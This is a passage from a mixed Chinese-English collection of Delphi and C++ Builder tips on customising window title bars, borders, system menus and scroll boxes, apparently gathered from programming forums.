3. Define a BackBitmap property on published area so the property

can change from Object Inspector.

4. Inherits the WM_PAINT message handler

5. Define a Painting procedure to draw bitmap.

6. Override PaintWindow procedure for paint scrollbox.

the object type is

type

TMyScrollBox = Class(TScrollBox) (* an object inherited from TScrollbox *)

private

FNHBitmap: TBitmap; (* TBitmap variable to save bitmap *)

FNHCanvas: TCanvas; (* TCanvas variable to draw bitmap *)

procedure WMPaint(var Message: TWMPaint); message WM_PAINT;

(* Override the WM_PAINT message handler *)

procedure SetBitmap(Value: TBitmap);

(* procedure to set bitmap. Used by BackBitmap property *)

protected

procedure Painting; (* procedure to draw bitmap *)

procedure PaintWindow(DC: HDC); override; (* Procedure to paint window *)

published

property BackBitmap: TBitmap read FNHBitmap write SetBitmap;

(* BackBitmap Property *)

public

constructor Create(Owner: TComponent); override;

(* Constructor to create object *)

destructor Destroy; override;

(* Destructor to destroy object *)

end;

6. Constructor to create object.

At this procedure, create the TCanvas variable as TControlCanvas.

The TControlCanvas is an object inherited from TCanvas that can be used to

draw on Control Surface.

Set the property Control on this variable to Self.

constructor TMyScrollBox.Create(Owner: TComponent);

begin

inherited Create(Owner);

FNHBitmap := TBitmap.Create;

FNHCanvas := TControlCanvas.Create; (* Create as a TControl Canvas *)

TControlCanvas(FNHCanvas).Control := Self;

(* Set the Control property so you can draw on the scrollbox surface. *)

end;

7. Procedure Painting

This procedure is used to draw on the scrollbox surface.

You must use the vertical scrollbar position and horizontal scrollbar position

to draw the bitmap, and repeat drawing for tiling bitmap.

9. Message trapping

When the scrollbox get WM_PAINT message, then the message will be handled by

WMPaint procedure. The WMPaint procedure calls PaintHandler, so the control's

background will be painted by calling PaintWindow and any child controls too

by calling PaintControls.

The Painting procedure is called by PaintWindow.

You can copy this source, save as NScroll.pas, and install to your component palette.

(* Source Code *)

unit NScroll;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms;

type

TMyScrollBox = Class(TScrollBox)

private

FNHBitmap: TBitmap;

FNHCanvas: TCanvas;

procedure WMPaint(var Message: TWMPaint); message WM_PAINT;

procedure SetBitmap(Value: TBitmap);

protected

procedure Painting;

procedure PaintWindow(DC: HDC); override;

published

property BackBitmap: TBitmap read FNHBitmap write SetBitmap;

public

constructor Create(Owner: TComponent); override;

destructor Destroy; override;

end;

procedure Register;

implementation

constructor TMyScrollBox.Create(Owner: TComponent);

begin

inherited Create(Owner);

FNHBitmap := TBitmap.Create;

FNHCanvas := TControlCanvas.Create;

TControlCanvas(FNHCanvas).Control := Self;

end;

destructor TMyScrollBox.Destroy;

begin

FNHBitmap.Destroy;

FNHCanvas.Destroy;

inherited Destroy;

end;

procedure TMyScrollBox.SetBitmap(Value : TBitMap);

begin

FNHBitmap.Assign(Value);

invalidate;

end;

procedure TMyScrollBox.WMPaint(var Message: TWMPaint);

begin

PaintHandler(Message);

end;

procedure TMyScrollBox.PaintWindow(DC: HDC);

begin

FNHCanvas.Handle := DC;

try

Painting;

finally

FNHCanvas.Handle := 0;

end;

end;

procedure TMyScrollBox.Painting;

var FDrawHeight, FDrawWidth: Integer;

Row, Column, xl, xt, xw, xh: Integer;

xdl, xdt: Integer;

xRect: TRect;

i: integer;

xhdl: Word;

begin

if (FNHBitmap.width <> 0) and (FNHBitmap.Height <> 0) then begin

xRect := ClientRect;

FDrawHeight := xRect.Bottom - xRect.Top;

FDrawWidth := xRect.Right - xRect.Left;

xdl := (HorzScrollBar.Position mod FNHBitmap.Width);

xdt := (VertScrollBar.Position mod FNHBitmap.Height);

for Row := 0 to (FDrawHeight div FNHBitmap.Height)+1 do begin

for Column := 0 to (FDrawWidth div FNHBitmap.Width)+1 do begin

xl := Column*FNHBitmap.Width+xRect.Left-xdl;

xt := Row*FNHBitmap.Height+xRect.Top-xdt;

xw := FNHBitmap.Width;

if (FDrawWidth - xl+xRect.Left) < xw then xw := (FDrawWidth - xl+xRect.Top);

xh := FNHBitmap.Height;

if (FDrawHeight - xt+xRect.Top) < xh then xh := (FDrawHeight - xt+xRect.Top);

FNHCanvas.CopyRect(Rect(xl, xt, xl+xw, xt+xh), FNHBitmap.Canvas, Rect(0, 0, xw, xh));

end;

end;

end;

end;

{}

procedure Register;

begin

RegisterComponents('KPC', [TMyScrollBox]);

end;

end.


无边界窗体移动方法

SendMessage(Handle,WM_NCLButtonDown,HTCaption,GetMessagePos);

******************

不用标题栏也移动窗体

一般情况下，移动一个窗体需要将鼠标放置在标题栏上才能拖动窗体，为 什么非要使用标题栏呢？其实我们可以使用一个巧妙的方法来实现将鼠标放置 在窗体上按下就可拖动窗体，下面先看实现代码。在Form1的“Private”部分声明过程：

在private部分加入下列代码：

procedure wmnchittest(var msg:twmnchittest);

message wm_nchittest;

在程序部分加入以下代码：

procedure TForm1.wmnchittest(var msg:twmnchittest);

begin

inherited;

if (htclient=msg.result) then msg.result:=htcaption;

end;

上面的关键代码虽然只有两行，但它实现了鼠标直接拖动窗体的目的。代码的原理是利用窗体的WM_NCHITTEST消息，这个消息是当光标移动、鼠标按下或释放时发生的，当程序检测到鼠标在窗体中按下的消息后（消息的值为htClient），将鼠标在标题栏上按下时产生的消息（值为htCaption）传递出去，这样就巧妙的欺骗程序认为是标题栏被按下，当然就可拖动窗体了

************************

----通过为Application.OnMessage创建一个处理程序获得Windows消息，可以调整应用程序对不同消息的响应或为不能正常识别的消息提供服务。这里受到窗体客户区的鼠标按下的消息后，发送一条在标题栏内按下的消息。 ---- 例 程 如 下：

.

.

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

procedure AppMessage(var Msg:TMsg;var Handled:Boolean);

.

.

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

Application.OnMessage:=AppMessage;

//捕捉消息：将程序的收到消息事件与消息过滤过程关联起来

end;

procedure TForm1.AppMessage(var Msg:TMsg;var Handled:Boolean);

begin

if (Msg.message=WM_LButtonDown) and

//如果鼠标左键按下的话

(DefWindowProc(Handle,WM_NCHitTest,

0,GetMessagePos)=HTClient) and

//判断光标是否在客户区内

((GetKeyState(vk_CONTROL) < 0)

//检测“Ctrl”键是否按下

then

begin

SendMessage(Handle,WM_NCLButtonDown,

HTCaption,GetMessagePos);

//发送鼠标在标题栏内按下的消息

Handled:=true;

end;

end;


关于form右上方的三个小按钮

如果一定要隐藏三个按钮，可以这样：

Private

iStyle:Longint;

.....

不显示三个按钮

iStyle:=setwindowlong(handle,gwl_style,getwindowlong(handle,gwl_style) and not ws_minimizebox and not ws_maximizebox and not ws_sysmenu);

...

恢复显示按钮

SetwindowLong(handle,gwl_style,iStyle);


在标题栏添加按钮

unit Unit1;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms, Dialogs, Buttons, DdeMan, StdCtrls;

type

TTitleBtnForm = class(TForm)

Button1: TButton;

procedure FormResize(Sender: TObject);

private

TitleButton : TRect;

procedure DrawTitleButton;

{Paint-related messages}

procedure WMSetText(var Msg : TWMSetText); message WM_SETTEXT;

procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPAINT;

procedure WMNCActivate(var Msg : TWMNCActivate); message WM_NCACTIVATE;

{Mouse down-related messages}

procedure WMNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;

procedure WMNCLButtonDown(var Msg : TWMNCLButtonDown); message WM_NCLBUTTONDOWN;

function GetVerInfo : DWORD;

end;

var

TitleBtnForm: TTitleBtnForm;

const

htTitleBtn = htSizeLast + 1;

implementation

{$R *.DFM}

procedure TTitleBtnForm.DrawTitleButton;

var

bmap : TBitmap; {Bitmap to be drawn - 16 X 16 : 16 Colors}

XFrame, {X and Y size of Sizeable area of Frame}

YFrame,

XTtlBit, {X and Y size of Bitmaps in caption}

YTtlBit : Integer;

begin

{Get size of form frame and bitmaps in title bar}

XFrame := GetSystemMetrics(SM_CXFRAME);

YFrame := GetSystemMetrics(SM_CYFRAME);

XTtlBit := GetSystemMetrics(SM_CXSIZE);

YTtlBit := GetSystemMetrics(SM_CYSIZE);

{$IFNDEF WIN32}

TitleButton := Bounds(Width - (3 * XTtlBit) - ((XTtlBit div 2) - 2),

YFrame - 1,

XTtlBit + 2,

YTtlBit + 2);

{$ELSE} {Delphi 2.0 positioning}

if (GetVerInfo = VER_PLATFORM_WIN32_NT) then

TitleButton := Bounds(Width - (3 * XTtlBit) - ((XTtlBit div 2) - 2),

YFrame - 1,

XTtlBit + 2,

YTtlBit + 2)

else

TitleButton := Bounds(Width - XFrame - 4*XTtlBit + 2,

XFrame + 2,

XTtlBit + 2,

YTtlBit + 2);

{$ENDIF}

Canvas.Handle := GetWindowDC(Self.Handle); {Get Device context for drawing}

try

{Draw a button face on the TRect}

DrawButtonFace(Canvas, TitleButton, 1, bsAutoDetect, False, False, False);

bmap := TBitmap.Create;

bmap.LoadFromFile('c:\windows\desktop\aaa.bmp');

with TitleButton do

{$IFNDEF WIN32}

Canvas.Draw(Left + 2, Top + 2, bmap);

{$ELSE}

if (GetVerInfo = VER_PLATFORM_WIN32_NT) then

Canvas.Draw(Left + 2, Top + 2, bmap)

else

Canvas.StretchDraw(TitleButton, bmap);

{$ENDIF}

finally

ReleaseDC(Self.Handle, Canvas.Handle);

bmap.Free;

Canvas.Handle := 0;

end;

end;

{Paint triggering events}

procedure TTitleBtnForm.WMNCActivate(var Msg : TWMNCActivate);

begin

Inherited;

DrawTitleButton;

end;

procedure TTitleBtnForm.FormResize(Sender: TObject);

begin

Perform(WM_NCACTIVATE, Word(Active), 0);

end;

{Painting events}

procedure TTitleBtnForm.WMNCPaint(var Msg : TWMNCPaint);

begin

Inherited;

DrawTitleButton;

end;

procedure TTitleBtnForm.WMSetText(var Msg : TWMSetText);

begin

Inherited;

DrawTitleButton;

end;

{Mouse-related procedures}

procedure TTitleBtnForm.WMNCHitTest(var Msg : TWMNCHitTest);

begin

Inherited;

{Check to see if the mouse was clicked in the area of the button}

with Msg do

if PtInRect(TitleButton, Point(XPos - Left, YPos - Top)) then

Result := htTitleBtn;

end;

procedure TTitleBtnForm.WMNCLButtonDown(var Msg : TWMNCLButtonDown);

begin

inherited;

if (Msg.HitTest = htTitleBtn) then

ShowMessage('You pressed the new button');

end;

function TTitleBtnForm.GetVerInfo : DWORD;

var

verInfo : TOSVERSIONINFO;

begin

result:=0;

verInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if GetVersionEx(verInfo) then

Result := verInfo.dwPlatformID;

{Returns:

VER_PLATFORM_WIN32s Win32s on Windows 3.1

VER_PLATFORM_WIN32_WINDOWS Win32 on Windows 95

VER_PLATFORM_WIN32_NT Windows NT }

end;

end.


使关闭按钮失效
EnableMenuItem(GetSystemMenu(Handle, FALSE), SC_CLOSE,MF_BYCOMMAND or MF_GRAYED);


使一个程序的多个窗口都保持激活的标题栏

如果一个程序有多个窗口的话，只有一个窗口是激活的，就是说只能有一个窗口的标题栏是蓝色（激活）的状态，如果要把多个窗口的标题栏都变成激活的状态，可以参考下面的代码：

var

DC: HDC;

begin

DC := GetActiveWindow;

// Create your 2nd window

{2nd window}.SetFocus; // For key input!

SendMessage(DC, WM_NCACTIVATE, WA_ACTIVE, 0); // Maintaines active form caption

end;

**************************

{

To show a from/window with an active titlebar, send a WM_NCACTIVATE message to it.

Um eine Form mit aktiver Titelleiste anzuzeigen, kann ihr eine WM_NCACTIVATE

Nachricht geschickt werden.

}

procedure TForm2.FormActivate(Sender: TObject);

begin

SendMessage(Application.MainForm.Handle, WM_NCACTIVATE, Integer(True), 0);

end;


标题栏文字右队齐

重载CreateParams即可。

procedure TForm2.CreateParams(var para: TCreateParams);

begin

inherited;

Para.ExStyle:=Para.ExStyle+$1000;

end;


BorderIcons中的biHelp

实现“这是什么？”的功能

实现“这是什么？”的功能

    常常看到有些窗口上有个？号，也就“这是什么？”的功能，，如果自已编程实现则就不一样了。比如：点击"帮助"按钮。。刚出现这是什么？”的功能。。这就要用到api了，其实 通过 postmessage ，可以实现。

    postmessage(handle, wm_syscommand, sc_contexthelp, 0);

是不是简单，哎，想当初，为了它，我找呀找。。。。。。

***********************************************************

如果标题栏上有问号按钮的时候，只要点一下，然后用‘？光标’点击带有helpcontext

的控件就能调出pophelp。

现在，midchild窗体上无法设置问号按钮。请问如何达到点击控件调出对应pophelp的目的？

下面的代码可以在任何地方Popup一个弹出式Help对话框：

请指定Application的HelpFile。

var

Pt: TSmallPoint;

ContextID: Integer;

begin

Pt := PointToSmallPoint(ClientToScreen(Point(0, 0)));

ContextID:=1;

Application.HelpCommand(HELP_SETPOPUP_POS, Longint(Pt));

Application.HelpCommand(HELP_CONTEXTPOPUP, ContextID);

end;

具体的可以使用GetCursorPos获得坐标，然后再获得ContextID，这个稍微复杂一点。

可以找到Cursor所在的控件的句柄，使用FindControl获得控件，然后执行Control.HelpContext;获得ID。

********************

设置了biHelp为true后,如果将form的BorderStyle设为bsDialog,或者BorderIcons的

biMinimize and biMaximize都设为false,那么在form的标题栏就会有个问号图标,点击后form的光标变为crHelp.

在你的每个控件的属性里都有一个叫做HelpContext的，这是和你的帮助文件相关联的。如果你制作的帮助文件，并指明了一种帮助风格，则当你使用这个HELP光标点击相应控件时，它会从你的帮助文件中取出帮助来显示。

********************

show my own help dialog when user clicks the biHelp border icon?

type

TForm1 = class(TForm)

private

procedure wmNCLButtonDown(var Msg: TWMNCLButtonDown); message WM_NCLBUTTONDOWN;

procedure wmNCLButtonUp(var Msg: TWMNCLButtonUp); message WM_NCLBUTTONUP;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.wmNCLButtonDown(var Msg: TWMNCLButtonDown);

begin

if Msg.HitTest = HTHELP then

begin

Msg.Result := 0; // swallow mouse down on biHelp border icon

end

else

inherited;

end;

procedure TForm1.wmNCLButtonUp(var Msg: TWMNCLButtonUp);

begin

if Msg.HitTest = HTHELP then

begin

Msg.Result := 0;

ShowMessage('Hi!'); // Show your help here

end

else

inherited;

end;

**********************************************

然而有一个问题，如果是TSpeedButton之类的控件，根本无法使用这个功能，因为只要一按按钮，就会相当于点击了按钮一样，那么如何解决这个问题呢？

//去掉 WS_EX_CONTROLPARENT，这样一般窗体的控件才能响应上下文帮助

procedure FixContextHelp(Form: TCustomForm);

var

Loop, OldExStyle: Integer;

Handle: HWnd;

Control: TControl;

begin

for Loop := 0 to Form.ControlCount - 1 do

begin

Control := Form.Controls[Loop];

if (csAcceptsControls in Control.ControlStyle) and

(Control is TWinControl) then

begin

Handle := TWinControl(Control).Handle;

OldExStyle := GetWindowLong(Handle, GWL_EXSTYLE);

SetWindowLong(Handle, GWL_EXSTYLE,

OldExStyle and not WS_EX_CONTROLPARENT)

end

end

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

FixContextHelp(Self)

end;


标题栏的右击

拦截WM_NCRBUTTONDOWN;即可！

如果只想拦截在form右边三个按钮上的右击事件，则应该拦截WM_NCRBUTTONUP！

private

procedure WMNCRBUTTONDOWN(var msg: TMessage); message WM_NCRBUTTONDOWN;

procedure WMNCLBUTTONDOWN(var msg: TMessage); message WM_NCLBUTTONDOWN;

procedure WMNCLBUTTONDBLCLK(var msg: TMessage); message WM_NCLBUTTONDBLCLK;

end;

implementation

procedure TForm1.WMNCRBUTTONDOWN(var msg: TMessage);

begin

if msg.wParam = HTCAPTION then Caption := 'Right Click!';

// Message.Result := 0; {to ignore the message}

inherited;

end;

procedure TForm1.WMNCLBUTTONDOWN(var msg: TMessage);

begin

if msg.wParam = HTCAPTION then Caption := 'Left Click!';

// Message.Result := 0; {to ignore the message}

inherited;

end;

procedure TForm1.WMNCLBUTTONDBLCLK(var msg: TMessage);

begin

if msg.wParam = HTCAPTION then Caption := 'Double Click!';

// Message.Result := 0; {to ignore the message}

inherited;

end;

*********************************

Simple method from Nail

...

interface

TForm1 = class(TForm)

...

private

procedure WMNCHitTest(var message:TWMNCHitTest); message WM_NCHITTEST;

...

implementation

...

procedure TForm1.WMNCHitTest(var message:TWMNChitTest);

begin

if message.result = HT_CAPTION then

begin

...

end;

end;

...


怎样使窗口标题栏中的“关闭”按钮变灰

var mnu: HMENU;

begin

mnu := GetSystemMenu(Handle, False);

EnableMenuItem(mnu,SC_CLOSE,MF_BYCOMMAND+MF_DISABLED+MF_GRAYED);

end;

1、删除“关闭”菜单：

procedure TForm1.FormCreate(Sender: TObject);

var mnu: HMENU;

begin

mnu := GetSystemMenu(Handle, False);

DeleteMenu(mnu, SC_CLOSE, MF_BYCOMMAND);

end;


BorderStyle=bsNone的窗口怎么拖动边缘改变大小

BorderStyle=bsNone的窗口，我想拖动边缘改变大小，看看别人的网站说可以截取消

> 息，替换hittest，可是怎么试也不行。请高手支招，谢谢！

>

确实是要截取nchittest消息现在源码附上：

程序中词句未优化。。

unit Resize;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

procedure FormCreate(Sender: TObject);

procedure FormResize(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

lpRect:TRect;

mess1:string;

procedure hitit(var msg:TWMNCHITTEST);

message WM_NCHITTEST;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.hitit(var msg: TWMNCHITTEST);

var

pt:TPoint;

begin

pt.x:=msg.XPos;

pt.y:=msg.YPos;

pt:=ScreenToClient(pt);

if ptInRect(Rect(lpRect.Right-5,lpRect.Top+5,

lpRect.Right+5,lpRect.Bottom-5),pt) then

msg.Result:=HTRIGHT; file://右边

if ptInRect(Rect(lpRect.Left-5,lpRect.Top+5,

lpRect.Left+5,lpRect.Bottom-5),pt) then

msg.Result:=HTLEFT; file://左边

if ptInRect(Rect(lpRect.Left+5,lpRect.Top-5,

lpRect.Right-5,lpRect.Top+5),pt) then

msg.Result:=HTTOP; file://上边

if ptInRect(Rect(lpRect.Left+5,lpRect.Bottom-5,

lpRect.Right-5,lpRect.Bottom+5),pt) then

msg.Result:=HTBOTTOM; file://下边

if ptinRect(Rect(lpRect.Left-5,lpRect.Top-5,

lpRect.Left+5,lpRect.Top+5),pt) then

msg.Result:=HTTOPLEFT; file://左上角

if ptInRect(Rect(lpRect.Right-5,lpRect.Bottom-5,

lpRect.Right+5,lpRect.Bottom+5),pt) then

msg.Result:=HTBOTTOMRIGHT; file://右下角

if ptInRect(Rect(lpRect.Left-5,lpRect.Bottom-5,

lpRect.Left+5,lpRect.Bottom+5),pt) then

msg.Result:=HTBOTTOMLEFT; file://左下角

if ptInRect(Rect(lpRect.Right-5,lpRect.Left-5,

lpRect.Right+5,lpRect.Left+5),pt) then

msg.Result:=HTTOPRIGHT; file://右上角

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

lpRect:=ClientRect;

end;

procedure TForm1.FormResize(Sender: TObject);

begin

lpRect:=ClientRect;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

close;

end;

end.

yugz@263.net


没有标题栏的窗体可缩放(NetAnts)

procedure TForm1.CreateParams(var Params:TCreateParams);

begin

inherited CreateParams(Params);

Params.Style := WS_SIZEBOX or

WS_POPUP or

WS_BORDER;

end;

*******************

procedure TForm1.FormCreate(Sender: TObject);

begin

borderstyle:=bsSizeable;

setwindowlong(handle,gwl_style,getwindowlong(handle,gwl_style) and not ws_caption);

clientheight:=height;

end;

************************

TForm1=class(TForm)

...

public

procedure CreateParams(var Params: TCreateParams); override;

// 加入这一行

end;

// Copy 如下代码即可

procedure TForm1.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

with Params do

begin

Style := (Style or WS_POPUP) xor (ws_dlgframe);

///如果要凹下去的效果，则加入下面这行，否则去掉

ExStyle := ws_ex_clientedge;

end;

end;

***************

怎样可以不要Form的标题栏和边界但可以保留改变Form的大小的功能：

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

private

procedure WmNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WmNCHitTest(var Msg: TWMNCHitTest);

const v=10; //border width

var p:TPoint;

begin

p:=Point(Msg.XPos,Msg.YPos);

p:=ScreenToClient(p);

if PtInRect(Rect(0,0,v,v),p) then

Msg.Result:=HTTOPLEFT

else if PtInRect(Rect(Width-v,Height-v,Width,Height),p) then

Msg.Result:=HTBOTTOMRIGHT

else if PtInRect(Rect(Width-v,0,Width,v),p) then

Msg.Result:=HTTOPRIGHT

else if PtInRect(Rect(0,Height-v,v,Height),p) then

Msg.Result:=HTBOTTOMLEFT

else if PtInRect(Rect(v,0,Width-v,v),p) then

Msg.Result:=HTTOP

else if PtInRect(Rect(0,v,v,Height-v),p) then

Msg.Result:=HTLEFT

else if PtInRect(Rect(Width-v,v,Width,Height-v),p) then

Msg.Result:=HTRIGHT

else if PtInRect(Rect(v,Height-v,Width-v,Height),p) then

Msg.Result:=HTBOTTOM;

Inherited;

end;

end.

*************************

类似网络蚂蚁的悬浮窗体

源码：

protected:

virtual void __fastcall CreateParams(TCreateParams & Param);

void __fastcall TForm2::CreateParams(TCreateParams & Param)

{

//调用基类

TForm::CreateParams(Param);

//去掉窗口标题区

Param.Style=Param.Style & ~WS_CAPTION;

Param.Style=Param.Style | WS_POPUP;

//设为总在最上面

Param.ExStyle=Param.ExStyle | WS_EX_TOPMOST;

//设Windows Owner为Desktop Window

Param.WndParent=GetDesktopWindow();

}

注意：

1、Windows Owner与Windows Parent不同，用::SetParent函数和设置Form?->Parent这能设置Windows Parent，不能设置Windows Owner，要实现FlashGet的悬浮窗必须要设置Windows Owner。

2、Form的BorderStyle要设为bsToolWindow，不然在任务栏上会显示出这个窗口的标题，将Caption设为空也没有用。


自画Caption

要实现自己绘制窗口的标题栏，必须拦截两个消息 WM_NCPAINT 和 WM_NCACTIVATE。我在

这里给出部分关键的 C++ Builder 代码，其实用 Delphi 实现也是很容易的。

class TForm1 : public TForm

{

// 窗体类声明细节省略

private:

void __fastcall WMNCPaint(TMessage &Msg);

void __fastcall WMNCActivate(TWMNCActivate &Msg);

protected:

BEGIN_MESSAGE_MAP

VCL_MESSAGE_HANDLER(WM_NCPAINT, TMessage, WMNCPaint)

VCL_MESSAGE_HANDLER(WM_NCACTIVATE, TWMNCActivate, WMNCActivate)

END_MESSAGE_MAP(TForm)

};

void __fastcall TForm1::WMNCActivate(TWMNCActivate &Msg)

{

Msg.Result = true;

if(!Msg.Active)

{

DefWindowProc(this->Handle, Msg.Msg, Msg.active, 0);

return;

}

TMessage pm;

pm.Msg = Msg.Msg;

pm.WParam = Msg.Active;

WMNCPaint(pm);

}

void __fastcall TForm1::WMNCPaint(TMessage &Msg)

{

HDC hdc;

TRect cr;

TCanvas *wc = NULL;

DefWindowProc(this->Handle, Msg.Msg, Msg.WParam, Msg.LParam);

hdc = GetWindowDC(this->Handle);

try

{

wc = new TCanvas;

wc->Handle = hdc;

// 计算标题栏尺寸

cr.Left = GetSystemMetrics(SM_CXFRAME);

cr.Top = GetSystemMetrics(SM_CYFRAME);

cr.Right = this->Width - 4 * GetSystemMetrics(SM_CXSIZE);

cr.Bottom = cr.Top + GetSystemMetrics(SM_CYCAPTION) - 1;

// 获取标题栏的 Rect 后就可以直接在 wc 画布上画了，直接在标题栏上出效果！

// 绘画代码省略

// ... ...

}

__finally

{

ReleaseDC(this->Handle, hdc);

if(wc != NULL)

{

delete wc;

wc = NULL;

}

}

}

// 就这么简单


自画Form边框

拦截WM_NCPAINT消息即可：

procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);

var

dc: hDc;

Pen: hPen;

OldPen: hPen;

OldBrush: hBrush;

begin

inherited;

dc := GetWindowDC(Handle);

msg.Result := 1;

Pen := CreatePen(PS_SOLID, 1, RGB(255, 0, 0));

OldPen := SelectObject(dc, Pen);

OldBrush := SelectObject(dc, GetStockObject(NULL_BRUSH));

Rectangle(dc, 0, 0, Form1.Width, Form1.Height);

SelectObject(dc, OldBrush);

SelectObject(dc, OldPen);

DeleteObject(Pen);

ReleaseDC(Handle, Canvas.Handle);

end;


系统菜单的复制

很多程序都有模拟一个假的标题栏的功能， 当时大部分的程序没有处理标题栏的“弹出菜单”，如何在模拟的标题栏上面右击的时候也能弹出SYS Menu呢？

有两个方法，一个是处理鼠标消息，不过不知道应该处理那个消息，另外一个就是模拟一个一样的菜单，下面的代码可以做到这一点：

procedure TForm1.Button3Click(Sender: TObject);

var

item: TMenuItem;

sysmenuHandle: HMENU;

i, itemcount: Integer;

buffer: array[0..128] of Char;

itemID: Integer;

itemflags: DWORD;

begin

handleNeeded;

//得到系统菜单的handle

sysmenuHandle := GetSystemMenu(handle, false);

if sysmenuHandle <> 0 then

begin

//得到系统菜单的个数

itemcount := GetMenuItemcount(sysmenuHandle);

for i := 0 to itemcount - 1 do

begin

//得到指定菜单项的当前状态

itemflags := GetMenuState(sysmenuhandle, i, MF_BYPOSITION);

//如果是横线

if (itemflags and MF_SEPARATOR) = MF_SEPARATOR then

item := NewLine

else begin

//得到指定菜单项的Caption

GetMenuString(sysmenuhandle, i, buffer, sizeof(buffer), MF_BYPOSITION);

//得到指定菜单的在系统菜单中的ID

itemID := GetMenuItemID(sysmenuhandle, i);

//创建新的MenuItem

item := NewItem(buffer, 0,

(itemflags and MF_CHECKED) = MF_CHECKED,

(itemflags and (MF_DISABLED or MF_GRAYED)) = 0,

SystemMenuClick,

0,

format('Sysmenu_%d', [itemid]));

item.tag := itemID;

end;

systemmenu.Add(item);

end;

end;

end;

procedure TForm1.SystemMenuClick(Sender: TObject);

begin

with Sender as TMenuitem do

Self.perform(WM_SYSCOMMAND, Tag, 0);

end;

***************************************

终于找到了：）

原来有一个消息，$313，就是弹出系统菜单的。M$没有公开。

procedure TForm1.Button1Click(Sender: TObject);

const

WM_POPUPSYSTEMMENU=$313;

begin

SendMessage(Handle, WM_POPUPSYSTEMMENU, 0, MakeLong(Mouse.CursorPos.X,Mouse.CursorPos.Y));

end;

P.S:如果需要无边框的bsNone风格，又需要弹出Menu的，那么请不要设置Form的BoderStyle为bsNone，并且不要设置BorderIcons的biSystemMenu为False。采用下面的代码设置边框风格：

SetWindowLong(Handle,GWL_STYLE,GetWindowLong(Handle,GWL_STYLE) and (not WS_CAPTION) or WS_DLGFRAME or WS_OVERLAPPED);


一个MID窗体的问题

我们知道，一个MDI的子窗体，如果最大化之后，其MDI父窗体没有菜单的话，那么我们会看不到子窗体的最大化，最小化，关闭三个按钮！就是说子MDI窗体的标题栏不见了！那么有没有办法保持标题栏在最大化的时候也不消失呢？

下面是可以做到的代码，不过有很多的问题噢！

Form1 ,MDI Form

Form-->Normal窗体

With TForm.CreateParented(Handle) do

begin

// ParentWindow :=Self.Handle;

Show;

// Free;

end;


MDI子窗口最大化时的一个问题

：kthy, 时间：2001-6-4 9:02:01, ID：548082 [显示：小字体 | 大字体]

MDI子窗口最大化时，更改主窗口菜单后，子窗口系统图标消失。

只有当子窗口恢复原来大小，然后再最大化，系统图标才出现。

有没有其他方法避免这种问题？

：bbkxjy, 时间：2001-6-3 17:28:12, ID：552311

完全转贴：

How to fix the MDI close button and window menu glitches

---------------------------------------------------------

I am trying to write a MDI application. I use a main form with a MainMenu. Every

child form merges its main menu in the main form's main menu. If one of the child

forms gets maximized, the close button (x button in the upper right corner) is

grayed out but still works. If I merge the child form's main menu manually, the

close button behaves in the same way.

Answer 1:

I have tried the following patch to Menus.pas and it works wonders for me. The

button no longer disappears or disable and the window menu functions after changes

are made to it. I would like to know how well this works for them. Neither of these

two fixes are 'hacks' into that they don't cause extra flashing or refreshing. They

just fix the 'problematic' code in Menus.pas. The below snippits of code are based

on D5.

procedure TMenuItem.RebuildHandle;

const

cFAF = $04;

var

I: Integer;

LRepopulate: Boolean;

begin

if csDestroying in ComponentState then

Exit;

if csReading in ComponentState then

FStreamedRebuild := True

else

begin

if FMergedWith <> nil then

FMergedWith.RebuildHandle

else

begin

I := GetMenuItemCount(Handle);

LRepopulate := I = 0;

while I > 0 do

begin

if (WordRec(LongRec(GetMenuState(Handle, I - 1, MF_BYPOSITION)).Lo).Lo and cFAF) = 0 then

begin

RemoveMenu(Handle, I - 1, MF_BYPOSITION);

LRepopulate := True;

end;

Dec(I);

end;

if LRepopulate then

begin

if (FParent = nil) and (FMenu is TMainMenu) and (GetMenuItemCount(Handle) = 0) then

begin

DestroyMenu(FHandle);

FHandle := 0;

end

else

PopulateMenu;

MenuChanged(False);

end;

end;

end;

end;

function TMenu.DispatchPopup(AHandle: HMENU): Boolean;

function IsMDIWindowMenu(AItem: TMenuItem): Boolean;

begin

Result := Assigned(Application.MainForm) and (Application.MainForm.FormStyle = fsMDIForm)

and (Application.MainForm.WindowMenu = AItem);

end;

var

Item: TMenuItem;

LRebuild: Boolean;

begin

Result := False;

Item := FindItem(AHandle, fkHandle);

if Item <> nil then

begin

if not (csDesigning in Item.ComponentState) then Item.InitiateActions;

Item.Click;

LRebuild := Item.InternalRethinkHotkeys(False);

LRebuild := Item.InternalRethinkLines(False) or LRebuild;

if LRebuild then

Item.RebuildHandle;

if IsMDIWindowMenu(Item) then

if SendMessage(Application.MainForm.ClientHandle, WM_MDIREFRESHMENU, 0, 0) <> 0 then

DrawMenuBar(Application.MainForm.Handle);

Result := True;

end

else if not (csDesigning in ComponentState) and (Self is TPopupMenu) then

Items.InitiateActions;

end;

Tip by Max (max@nomail.com)

You cannot recompile the standard packages, your license does not allow it and

there are some units missing anyway. Copy the menus unit to your project directory,

modify the copy, and compile it as part of your project. You can copy the produced

DCU back into the LIB directory for other projects to use. This will work as long

as you don't build with packages and don't change anything in the units interface.

Tip by Peter Below

Answer 2:

